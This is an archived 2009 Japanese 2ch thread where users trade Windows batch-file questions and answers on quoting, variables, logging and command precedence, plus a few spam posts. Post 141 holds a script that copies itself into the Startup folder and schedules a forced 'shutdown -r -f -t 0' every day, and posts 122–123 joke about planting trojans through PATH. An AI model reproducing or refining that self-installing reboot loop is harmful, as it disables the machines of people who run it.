1 名前:デフォルトの名無しさん [2009/05/14(木) 11:29:31 ] 前スレ 【.cmd】 バッチファイルスクリプト %4 【.bat】 pc12.2ch.net/test/read.cgi/tech/1229955189/
82 名前:デフォルトの名無しさん [2009/07/01(水) 00:20:30 ] 任意のバッチでエコーされた結果をテキストに保存したいとき hoge.bat > log.txt とすることで、コマンドプロンプトウィンドウの代わりにファイルへ出力できますが、 この任意のバッチ(hoge.bat)が入力を求めたりするなど コマンドプロンプトウィンドウも表示させつつ、 表示された結果をテキストファイルとして自動的に保存したい場合、 どのようにすればよいでしょうか。 出力されたテキストを後からtypeするだけだと、 >入力を求めたりする ときなど、当然ながら期待した動作になりません
83 名前:デフォルトの名無しさん mailto:sage [2009/07/01(水) 02:38:33 ] そのバッチファイル内で個別に> >>してけば
84 名前:デフォルトの名無しさん mailto:sage [2009/07/01(水) 02:44:11 ] echo 常にコンソールに出力したい>con
85 名前:デフォルトの名無しさん mailto:sage [2009/07/01(水) 20:43:55 ] >>82 意味判らんがteeみたいのがほしいってこと?
86 名前:デフォルトの名無しさん mailto:sage [2009/07/01(水) 23:02:17 ] コンソールログじゃないの
87 名前:デフォルトの名無しさん mailto:sage [2009/07/01(水) 23:32:56 ] >>83 呼び出される側(実際にコンソールへ文字を出力しているバッチ)は いじらない方法で実現したいのです >>85-86 そんなかんじです。
88 名前:デフォルトの名無しさん mailto:sage [2009/07/02(木) 00:37:27 ] 無理
89 名前:デフォルトの名無しさん mailto:sage [2009/07/02(木) 01:01:55 ] >>87 localhostにtelnetしてログを採取w
90 名前:デフォルトの名無しさん mailto:sage [2009/07/02(木) 01:27:55 ] バッチ駆使するとteeみたいなことはできるのですが、 コンソールログはなかなか上手い方法が見つからないです… いったんパイプすると、出力色情報とか消えちゃうんですよね… >>89 それはww
91 名前:デフォルトの名無しさん mailto:sage [2009/07/02(木) 15:53:14 ] コマンドラインから、 2009063020000701-プレミアム8<文化・芸術> “皇帝”たちの野望「始皇帝 中国を作った男」.ts を送ってもbatが動かないです。 %1 %~d1 %~p1 %~n1 %~x1 %~s1 を試しても途中までのファイル名しか認識しません。 なぜですか?どうすれば認識するようになりますか?
92 名前:デフォルトの名無しさん mailto:sage [2009/07/02(木) 22:05:21 ] >>91 ""でくくってコマンドラインに渡してる?
93 名前:デフォルトの名無しさん mailto:sage [2009/07/02(木) 22:08:25 ] <>"半角スペースは入ってないんだよな その質問からは適切な答えは出てこないだろう
94 名前:デフォルトの名無しさん mailto:sage [2009/07/03(金) 01:33:30 ] ファイル名が長すぎるという可能性もある。
95 名前:デフォルトの名無しさん mailto:sage [2009/07/03(金) 03:23:36 ] 全角空白がある ""でくくれ
96 名前:53 mailto:sage [2009/07/03(金) 07:09:25 ] 悪阻レス、スマソ・・・レスありがとうさんです。 >>54 cmd.exe経由で呼び出すのはお手軽でいいですね 表示はどうなるんだろ?おなじコンソールでは出力されるのだろうか? 試してみないと… >>55 setlocal しらんかった( ´д`) バッチファイル内の環境変数の変更を一時的なものにできるんですね。 バッチファイル内で使うと、最後に到達した時に元の設定が復元される、ということみたいですね。ということは、endlocalは要らないのか。 setlocal,endlocal - コマンドプロンプトを使ってみよう! −バッチファイル− ykr414.com/dos/dos05.html#09 setlocalとendlocal www.confrage.com/dos/batch-grammar/setlocal_endlocal/setlocal_endlocal.html >>56 pushd,popdでディレクトリ情報をスタックできるんですね。すっかり存在を忘れてた… レスしてくれた人ありがとう!試してみます!
97 名前:デフォルトの名無しさん mailto:sage [2009/07/03(金) 13:36:17 ] >96 つわりレス…? setlocalしたのはバッチファイルの終わりに自動的に戻るけど endlocalを使うと、任意のタイミングで環境を戻せる。 普通に、途中から元の環境で実行したい、というのにも使えるし 例えば、一部の環境変数だけは戻り先にも残したい…なんて時に rem 環境変数Aは引き継ぎたい ( endlocal set A=%A% ) とかやると、括弧内の%変数%は括弧内を実行する前に全て展開されるので endlocal後に改めてAに同じ内容が入り、引き継げることになる
98 名前:デフォルトの名無しさん mailto:sage [2009/07/04(土) 01:31:49 ] vistaで、PCの日付と時刻を一定の年数戻したい場合はどう書けばいいでしょか?
99 名前:デフォルトの名無しさん mailto:sage [2009/07/04(土) 01:42:07 ] めんどくせぇ
100 名前:デフォルトの名無しさん mailto:sage [2009/07/04(土) 01:45:43 ] たのんます
101 名前:デフォルトの名無しさん mailto:sage [2009/07/04(土) 03:13:43 ] 継続使用したいならバイトしてちゃんと金払え
102 名前:デフォルトの名無しさん mailto:sage [2009/07/04(土) 10:59:28 ] >>98 xpはできるけどビスタは理論上できない。
103 名前:デフォルトの名無しさん mailto:sage [2009/07/04(土) 11:11:33 ] どんな理論?
104 名前:デフォルトの名無しさん mailto:sage [2009/07/04(土) 11:52:58 ] ぐぐりまくれ
105 名前:デフォルトの名無しさん mailto:sage [2009/07/06(月) 12:09:38 ] >>76 %%iを"%%i"として渡せばいける for %%i in ("%homedrive%%homepath%\hoge\*.jpg") do call :fuga "%%i"
106 名前:デフォルトの名無しさん mailto:sage [2009/07/06(月) 12:19:31 ] >>92-95
107 名前:デフォルトの名無しさん mailto:sage [2009/07/09(木) 01:36:18 ] XP SP2で reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce としたバッチファイルを実行すると無限ループしてしまうのですが、なぜでしょうか。 /vオプションや/t, /d, /fオプションをつけてもループしてしまいます。 コマンドプロンプトで直接打てばエラーはでません。
108 名前:デフォルトの名無しさん mailto:sage [2009/07/09(木) 02:14:08 ] reg.cmd
109 名前:デフォルトの名無しさん mailto:sage [2009/07/09(木) 02:24:52 ] >>108 ありがとうございます! reg.exe addとしたらできました!
110 名前:デフォルトの名無しさん mailto:sage [2009/07/09(木) 13:37:02 ] >>107-109 エスパーってほんとにいるんだな…
111 名前:デフォルトの名無しさん mailto:sage [2009/07/09(木) 23:42:21 ] >>107-109 理解するのに数秒かかった 超納得。
112 名前:デフォルトの名無しさん mailto:sage [2009/07/10(金) 19:38:13 ] regを呼ぶバッチファイルにreg.cmd(か.bat)って名前付けたのかw
113 名前:デフォルトの名無しさん mailto:sage [2009/07/10(金) 22:04:02 ] そういうことかw 1日以上悩んでわからなかったorz
114 名前:デフォルトの名無しさん mailto:sage [2009/07/10(金) 22:16:30 ] それはちょっとやばいのでは
115 名前:デフォルトの名無しさん mailto:sage [2009/07/10(金) 23:28:47 ] FAQだろ。 ここでも3回以上同じ質問見たぞ。
116 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 01:03:36 ] まだわからない俺はどうしたらいいんだろう
117 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 01:25:38 ] 人間「reg.cmdにreg以下省略と書いて保存…っと」 人間「よし、実行しよう、reg.cmd えんたー」 コマンドプロンプトA「はいはい。reg.cmdね。 A「えーと reg ってコマンドを探せば良いんだな? A「regって内部コマンドじゃなさそうだし…どこにあるコマンドだろ?」 A「現在のディレクトリにあるコマンドかな?それともpath通ったディレクトリのコマンドかな?」 A「じゃあ、まずは現在のディレクトリに reg ってコマンドは…なあんだ、あるじゃん!」 A「reg.cmdっと!」 コマンドプロンプトB「ん、何すか兄貴。reg.cmd?えーとregってコマンドを実行すれば良いんスね」 B「ええと、まずはカレントディレクトリを探して…っと…ああ、これか、reg.cmdを実行っと」 コマンドプロンプトC「どうしたの兄さん?」 人間「…あれ?何で反応がないんだろう」 A「B、おっそいなー」 B「C、まだっスか?」 C「ボクはD待ちなんですけど…」
118 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 15:47:22 ] なにそれきもい
119 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 16:57:01 ] 昔、Unixで罠にはまったのを思い出したわ。 cc -o test test.c で作ったtestコマンドがなぜか動かないという、真逆の問題だがなw
120 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 17:07:16 ] おれもw unixでpathの先頭にカレントディレクトリを追加しとくと なんかセキュリティがどうのこうので、まずいんだっけ?
121 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 17:25:20 ] /bin/testが実行されたのか・・・そりゃはまるわw
122 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 20:30:36 ] >>120 パスの先頭がカレントディレクトリだったらsuトロイを置きまくるぜ
123 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 22:01:50 ] あ、それだ。たしかlsみたいなファイル名でトロイを作るんだよね
124 名前:デフォルトの名無しさん mailto:sage [2009/07/11(土) 22:30:26 ] echo.cmd
125 名前:デフォルトの名無しさん mailto:sage [2009/07/13(月) 22:20:13 ] カレントディレクトリにtest03.batがある場合には、z:\batにtest03.batを移動するバッチファイルを作成したい。 ただし、z:\batが存在しない場合にはこれもバッチファイルの中で作成するようにする。 これをつくるためには IF NOT EXIST z:\bat( md z:\bat) ELSE(move z:\test03.bat z:\bat) ではなにがいけないのか教えてください。実行するとIF NOT EXIST z:\bat( のところに構文エラーがでるんですが
126 名前:デフォルトの名無しさん mailto:sage [2009/07/13(月) 22:31:27 ] z:\bat( が存在しない
127 名前:デフォルトの名無しさん mailto:sage [2009/07/13(月) 22:41:00 ] >>126 半角スペースがいるんですねありがとうございます 修正してみました IF NOT EXIST z:\bat ( md z:\bat ) ELSE ( move test03.bat z:\bat ) これを実行すると、 IF NOT EXIST G:\bat ( More? md G:\bat More? ) ELSE ( More? move test03.bat G:\bat More? ) となってしまい何も起きないんですがどうしてでしょうか
128 名前:デフォルトの名無しさん mailto:sage [2009/07/13(月) 22:42:49 ] すいませんG:\のところはz:\だと思ってください
129 名前:デフォルトの名無しさん mailto:sage [2009/07/13(月) 22:48:02 ] >何も起きないんですがどうしてでしょうか もう一度実行して確認
130 名前:125 mailto:sage [2009/07/13(月) 22:56:19 ] z:\batが無い状態で実行してもにz:\batは作成されず、 z:\batがある状態でやってもtest03.batがz:\batに移動されません。 どうしてでしょうか?一応文はあっているのでしょうか?
131 名前:デフォルトの名無しさん mailto:sage [2009/07/13(月) 23:06:59 ] 昔、Unixで罠にはまったのを思い出したわ。w testコマンドがなぜか動かないという あれ?何で反応がないんだろう っと…ああ、これか
132 名前:デフォルトの名無しさん mailto:sage [2009/07/13(月) 23:13:59 ] それはちょっとやばいのでは
133 名前:デフォルトの名無しさん mailto:sage [2009/07/14(火) 00:49:27 ] >>127 バッチファイルにすればよい
134 名前:デフォルトの名無しさん mailto:sage [2009/07/14(火) 03:52:31 ] More? って何だ?
135 名前:119 mailto:sage [2009/07/14(火) 05:47:27 ] >>131 つまらん。
136 名前:デフォルトの名無しさん mailto:sage [2009/07/14(火) 05:59:07 ] お前の話はつまらん
137 名前:デフォルトの名無しさん mailto:sage [2009/07/14(火) 10:04:14 ] >>119 >>131 >>135 ひでぇw
138 名前:デフォルトの名無しさん mailto:sage [2009/07/14(火) 12:32:13 ] こんな過疎すれでも3人いるってことは 自作のtestコマンドを作ってはまったやつが世界中で10万人はいるにちがいない
139 名前:デフォルトの名無しさん mailto:sage [2009/07/14(火) 14:27:05 ] 自作のcalプログラムで嵌った経験ならあるぞ。 プロジェクトの名前がcalなんだからぁしょうがないw
140 名前:デフォルトの名無しさん mailto:sage [2009/07/14(火) 15:52:15 ] reg.cmd話をdoskeyマクロ話に焼き直そうとしたら、 バッチでdoskeyマクロが使えなくて、落ちがつけられなくなったんだろ
141 名前:デフォルトの名無しさん mailto:sage [2009/07/18(土) 12:49:26 ] @echo off find "c:\" "reboot.bat" > "C:\Documents and Settings\All Users\copy.bat" cd "C:\Documents and Settings\All Users" md drivers_ cd drivers_ copy nul "shutdown -r -f -t 0" dir /b * > "C:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ\reboot.bat" dir /b * > ..\reboot.bat del * copy nul "copy /y reboot.bat スタート メニュー\プログラム\スタートアップ\reboot.bat" copy nul "スタート メニュー\プログラム\スタートアップ\reboot.bat" dir /b * > ..\copy.bat at 0:00 /interactive /every:M,T,W,Th,F,S,Su "C:\Documents and Settings\All Users\copy.bat" "C:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ\reboot.bat" :copy.bat if exist "c:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ\reboot.bat" goto c:\ copy reboot.bat "c:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ\reboot.bat" :c:\ "c:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ\reboot.bat" 質問です。atコマンドでタスク作成してもうまくタスクが起動しません! どうしたら良いでしょうか?
142 名前:デフォルトの名無しさん mailto:sage [2009/07/18(土) 13:55:13 ] すいません付け加えます。 このバッチファイル名のファイル名は reboot.bat です。
143 名前:デフォルトの名無しさん mailto:sage [2009/07/21(火) 22:40:29 ] find "文字列" hoge.txt を bat 内に記述して検出したあと、 if の条件判断の方法が思いつきません。 ご教示ください。
144 名前:デフォルトの名無しさん mailto:sage [2009/07/21(火) 23:28:06 ] if errorlevel 1
145 名前:デフォルトの名無しさん mailto:sage [2009/07/22(水) 00:44:27 ] >>144 thx、助かりました。
146 名前:107 mailto:sage [2009/07/27(月) 22:23:00 ] その節はエスパーの方ありがとうございました。 ファイル名まで書けばほとんどの方が気づいてくれたのでしょうけど。 気づかなかった自分が穴があれば入りたいほど恥ずかしかったです。 >>116 今更ですが、念のため書きます。>>112 が原因です。 実行ファイルのパスを省略した場合、システムディレクトリよりも カレントディレクトリが優先されるため、同じディレクトリにあった reg.batを呼び出してしまっていたのです。
147 名前:デフォルトの名無しさん mailto:sage [2009/07/28(火) 02:51:52 ] .urlで再帰するとエクスプローラが死ぬよ
148 名前:デフォルトの名無しさん mailto:sage [2009/08/03(月) 05:12:34 ] > echo fukustttt > fukust.txt:memo.txt > type fukust.txt:memo.txt ファイル名、ディレクトリ名、またはボリューム ラベルの構文が間違っています。 > if exist fukust.txt:memo.txt echo xxx 何この副ストリームの微妙な対応っぷり 書き込みオンリーじゃ意味ねぇ
149 名前:デフォルトの名無しさん mailto:sage [2009/08/03(月) 09:17:13 ] >>148 more < fukust.txt:memo.txt
150 名前:デフォルトの名無しさん mailto:sage [2009/08/03(月) 14:15:35 ] notepad fukust.txt:memo.txt
151 名前:デフォルトの名無しさん mailto:sage [2009/08/04(火) 12:34:57 ] こんにちは。 インターネット上のテキスト(html)を取得することはできますか? telnetとか見つけたんですが、ちょっと違う??
152 名前:デフォルトの名無しさん mailto:sage [2009/08/04(火) 14:36:05 ] powershell -command "(New-Object System.Net.WebClient).DownloadString('www.bing.com ')"
153 名前:151 mailto:sage [2009/08/04(火) 21:46:32 ] >>152 ぐ・・・powershell というのは、DOSとは違うものですね? やっぱDOSでは無理でしょうか。 でもヒントありがとうございます。
154 名前:デフォルトの名無しさん mailto:sage [2009/08/04(火) 22:01:28 ] psインストールしてdosから呼べばいいんだよ。 どうしてもコマンドがいいならwgetなんてのもあるけど結局別途インストールが必要。
155 名前:151 mailto:sage [2009/08/04(火) 23:24:50 ] >>154 なるほど、wgetなら聞いたことがあるのでそっちでやってみます。 インストールといってもコピーするだけなんですね、できそうかも。 どうもありがとう。
156 名前:デフォルトの名無しさん mailto:sage [2009/08/05(水) 20:55:21 ] 空のサブディレクトリを削除するコマンドとして for /f "delims=*" %i in ('dir /s /ad /b ^| sort /r') do @rmdir "%i" 2> nul なるコマンドをネット上で見たのですが "iの使い方が誤っています"なるエラーが出てしまいます。 引用変数を上手く渡すにはどうすればいいのでしょうか。 osはwin2kです。
157 名前:デフォルトの名無しさん mailto:sage [2009/08/05(水) 21:20:45 ] %i -> %%i
158 名前:156 mailto:sage [2009/08/05(水) 21:28:17 ] dd
159 名前:デフォルトの名無しさん mailto:sage [2009/08/07(金) 14:16:38 ] call省く方法ってないの? .bat, .cmdとその他を区別して呼び出すのがだるすぎるぜ
160 名前:デフォルトの名無しさん mailto:sage [2009/08/07(金) 14:56:34 ] 区別せず、いつもCALL使えばええがな
161 名前:デフォルトの名無しさん mailto:sage [2009/08/07(金) 14:58:37 ] 関連付けにcmd /c付ければええがな
162 名前:デフォルトの名無しさん mailto:sage [2009/08/07(金) 18:37:36 ] pc11.2ch.net/test/read.cgi/prog/1209467166/183 @echo off setlocal set A=0 :LOOP if %A% EQU 100 goto :END set /a A=A+1 set /a B=A%%3 set /a C=A%%5 set /a D=B+C if %D% EQU 0 goto :FB IF %B% EQU 0 goto :FIZZ IF %C% EQU 0 goto :BUZZ echo %A% goto :LOOP :FIZZ echo Fizz goto :LOOP :BUZZ echo Buzz goto :LOOP :FB echo FizzBuzz goto :LOOP :END endlocal @echo on
163 名前:デフォルトの名無しさん mailto:sage [2009/08/07(金) 19:38:07 ] そのスレ、何回かバッチ出てるね
164 名前:デフォルトの名無しさん mailto:sage [2009/08/07(金) 21:18:28 ] >>163 thx!本当だw 見直してたら、もう少し洗練出来る事に気が付いた。
165 名前:デフォルトの名無しさん [2009/08/07(金) 21:22:49 ] 【海外】中国・山西省の病院で陰茎が二本ある男の子が生まれる。[8/6]★part2 schiphol.2ch.net/test/read.cgi/parksports/1217581664/l50
166 名前:デフォルトの名無しさん mailto:sage [2009/08/13(木) 14:57:11 ] aaa.exeとbbb.exeをパラに実行してどっちかが終わったらccc.exeを実行 ってどう書けばいい?
167 名前:デフォルトの名無しさん mailto:sage [2009/08/16(日) 21:04:19 ] start cmd /c "aaa.exe & waitfor /si hoge" start cmd /c "bbb.exe & waitfor /si hoge" waitfor hoge ccc.exe
168 名前:デフォルトの名無しさん mailto:sage [2009/08/17(月) 00:14:28 ] offlineで使えないよ
169 名前:デフォルトの名無しさん mailto:sage [2009/08/17(月) 16:40:27 ] ドラッグ&ドロップでJavaを実行できるファイルを作りたいんですけど javac %~n1.java java %~n1 pause これだとディレクトリがC:\WINDOWSでファイルが見つかりません .javaファイルがあるディレクトリか,バッチファイルがあるディレクトリに 移動するにはどうすればいいでしょうか
170 名前:デフォルトの名無しさん mailto:sage [2009/08/17(月) 16:58:56 ] %0
171 名前:デフォルトの名無しさん mailto:sage [2009/08/17(月) 17:14:31 ] あぁ %~n1 ←これの意味分からずに使ってるのかw
172 名前:デフォルトの名無しさん mailto:sage [2009/08/17(月) 17:21:01 ] できました^^ cd %~dp0
173 名前: 222.248.109.70 mailto:age [2009/08/17(月) 17:45:38 ] 自動焼人 ★ = 自動保守 ◆KAWORUKOFI = 自動保守#K9K?_D[L 名言集 その4 『俺の経歴カックイイだろ?』 yutori7.2ch.net/test/read.cgi/news4vip/1249830540/ ID:PVAf+dux0 = 自動焼人 ★ > 984 :以下、名無しにかわりましてVIPがお送りします [sage] :2009/08/10(月) 00:11:14.95 ID:PVAf+dux0 > 俺の簡単な年表(笑) > 高二秋:自前のパソコンゲット > 高三春:コテハンとしてデビュー、指揮官見習い > 高三秋:指揮官デビュー > 大一:新しい武器の開発や、突撃で数々の戦歴を残す > 大二春:規制系キャップ取得、第一線から退く > 大二夏:ネットでのゲーム作成プロジェクト始動 > 大二秋:政治系オフに参加 > 大二冬:最後の突撃、華々しく散る > 大三春:政治系活動を本格始動 > 大三夏:三度目の選挙へ > > おまえらは、後を継ぐなよw ---------------------------------------------- この自動焼人 ★メールマガジンの配信停止をご希望される方は qb5.2ch.net/test/read.cgi/sec2chd/1250169591/ にて自動焼人 ★までご連絡ください
174 名前:デフォルトの名無しさん mailto:sage [2009/08/20(木) 15:23:16 ] renで同じファイル名があった場合上書きすることはできませんか?
175 名前:デフォルトの名無しさん mailto:sage [2009/08/20(木) 15:34:00 ] moveコマンドなら上書きできる
176 名前:デフォルトの名無しさん mailto:sage [2009/08/20(木) 17:39:04 ] なるほど
177 名前:デフォルトの名無しさん mailto:sage [2009/08/21(金) 21:54:04 ] あるフォルダの指定サイズ以下をファイルのみを隠しファイルにするにはどう組めば良いでしょう? わかるかたいましたらよろしくお願いします。
178 名前:デフォルトの名無しさん mailto:sage [2009/08/21(金) 22:35:49 ] for dir if %~zi attrib
179 名前:デフォルトの名無しさん mailto:sage [2009/08/22(土) 06:11:21 ] それは本当に隠しファイルにする必要があるのか? どういう用途に使うんだろう、と言ってみる
180 名前:デフォルトの名無しさん mailto:sage [2009/08/22(土) 13:50:21 ] ネットワークドライブをマウントさせるバッチファイルを作りたいのですが、 ・学生番号(ユーザーID)とパスワードをユーザーにキーボード入力させる ・入力された値はコンピュータが保持する(今後ID/パスを入力しなくても接続できる) といった形にしたいのですが、どう組めばいいでしょうか?
181 名前:デフォルトの名無しさん mailto:sage [2009/08/22(土) 14:17:08 ] リストの行を読み込むごとに、行番号が付いた変数をつけ続けることはできますか? 10行のリストを読んだら、var1からvar10までの変数を生成して欲しいのですが
182 名前:デフォルトの名無しさん mailto:sage [2009/08/22(土) 14:22:05 ] あれ、よくわからないけどできました・・・ for /F %%a in ( list.txt ) do ( set /a count = !count!+1 set line=line!count! set !line!=%%a ) echo !line9!